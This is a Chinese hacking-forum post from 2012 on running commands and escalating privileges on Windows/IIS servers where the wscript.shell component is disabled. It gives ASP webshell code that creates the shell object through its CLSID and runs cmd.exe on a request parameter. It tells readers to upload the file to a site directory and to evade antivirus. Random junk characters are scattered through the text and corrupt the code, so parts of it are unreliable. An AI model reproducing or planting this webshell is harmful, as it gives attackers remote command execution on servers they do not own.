中国网络渗透测试联盟

标题: 没有wscript.shell组件提权方法 [打印本页]

作者: admin 时间: 2012-10-21 09:08
标题: 没有wscript.shell组件提权方法

可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
9 i' l* R% \' p* l7 U4 O
一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
q9 B% R) Q& {4 o. D
要想让运行命令可以试试这种方法，成功率为五五之数。! x5 s* h/ v: J( p7 x, }' ?+ h
把下面代码复制：! k5 q. _: x$ [- q
<%
: [* y* k, U" q- Y) {; p, }3 ?1 }
end if
: j0 a$ `1 A. A7 z$ O( s
response.write(”")
3 J5 j) x- ?2 w0 Q; ^
On Error Resume
% H( }. E3 h+ b9 d" I1 _
Next
/ C3 q: D/ H, h" F0 k
response.write oScriptlhn.exec(”cmd.exe /c” &
7 b0 B: F7 I5 U
request(”c”)).stdout.readall
! u H) {9 R' F4 l# o, Y1 e
response.write(”")
. Q/ f- `2 x' G; @: J* p
response.write(”"): y Y% V. z/ E/ N* v f
response.write(”
7 U, G2 N7 a' o, J, b
“)
! y, I. ]7 u6 W L% D! E- o& E+ `5 E
response.write(”")9 ~, k- H! Y# y$ j! H2 [' p; U
%>3 H8 p7 L3 ?5 p! m+ B; c' |$ E% B
保存为一个asp文件，然后传到网站目录上去
8 z/ z) ^2 }- c* P4 C- A8 ]
运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。9 H4 |6 i- _- G$ _* H7 F* _, y3 ~
我用此成功运行过cacls命令。! R. X& }; I8 h: p0 R
第二那就是运行时出错，可能限制某些代码执行
9 \) }7 w: |, }5 I
无wscript.shell组件提权又一个方法* }4 {0 e& [, {% m/ b
<object runat=server id=oScriptlhn scope=page & w* R9 {! R# \7 J+ F- w
0 w. ^9 ~$ t5 I) G4 o
classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>- t# v4 ]5 r: w4 a6 ?! _
<%if err then%> , o. E, o2 u* C) P; b6 S2 v# }
<object runat=server id=oScriptlhn scope=page $ H: G$ n' c, d' ?/ L
& B0 e, B. U: b6 P, w! E
classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
H5 h" ?4 h6 E' s: F. h" u5 E% J* s
<% S4 `0 G# @6 E3 k; ^5 K% P: d
end if 6 f& ?2 I* m9 s4 `3 }6 s y2 y' w
response.write(”<textarea readonly cols=80
) k9 i/ g) L4 _" G5 t5 K+ ]
4 w* c: L$ w/ C$ [ E
rows=20>”) ) q9 G7 A$ F6 y! X& q
On Error Resume Next
, z2 Z8 X1 G7 J# x B8 x
response.write $ Z2 W$ {+ G$ ~( k+ {1 t
: U3 z: i( s) O' Q& O' h
oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall8 [4 M& S* d7 U% C
response.write(”</textarea>”) 4 P0 H, K9 J$ B" E- ?
response.write(”<form
& W1 j" s$ S' @ p! a# A a4 G/ A
1 }) p% W& h5 k8 S* N- ]1 g* D5 f3 N
method=’post’>”) ) t* D# X6 E y) U. `: A: _' s
response.write(”<input type=text name=’c'
+ H5 T7 I3 \/ z0 t+ G% k
8 c" W& Q& l7 l: s' u- J
size=60><br>”) & e1 w5 L1 t: d+ i7 v5 C, w3 e
response.write(”<input type=submit
9 w/ P' z3 t$ Q4 P% h* u
: B8 X3 p0 ~: l) w
value=’执行’></form>”) ( J% W' D: N9 B9 P
%>
0 J0 ?, j) @( t) Z; H& a9 _
保存为ASP，此代码可能被杀，请注意免杀。. ?1 v j% `: |& D
原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建" k, }& x0 Q* `1 D" ?( x8 I

复制代码

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)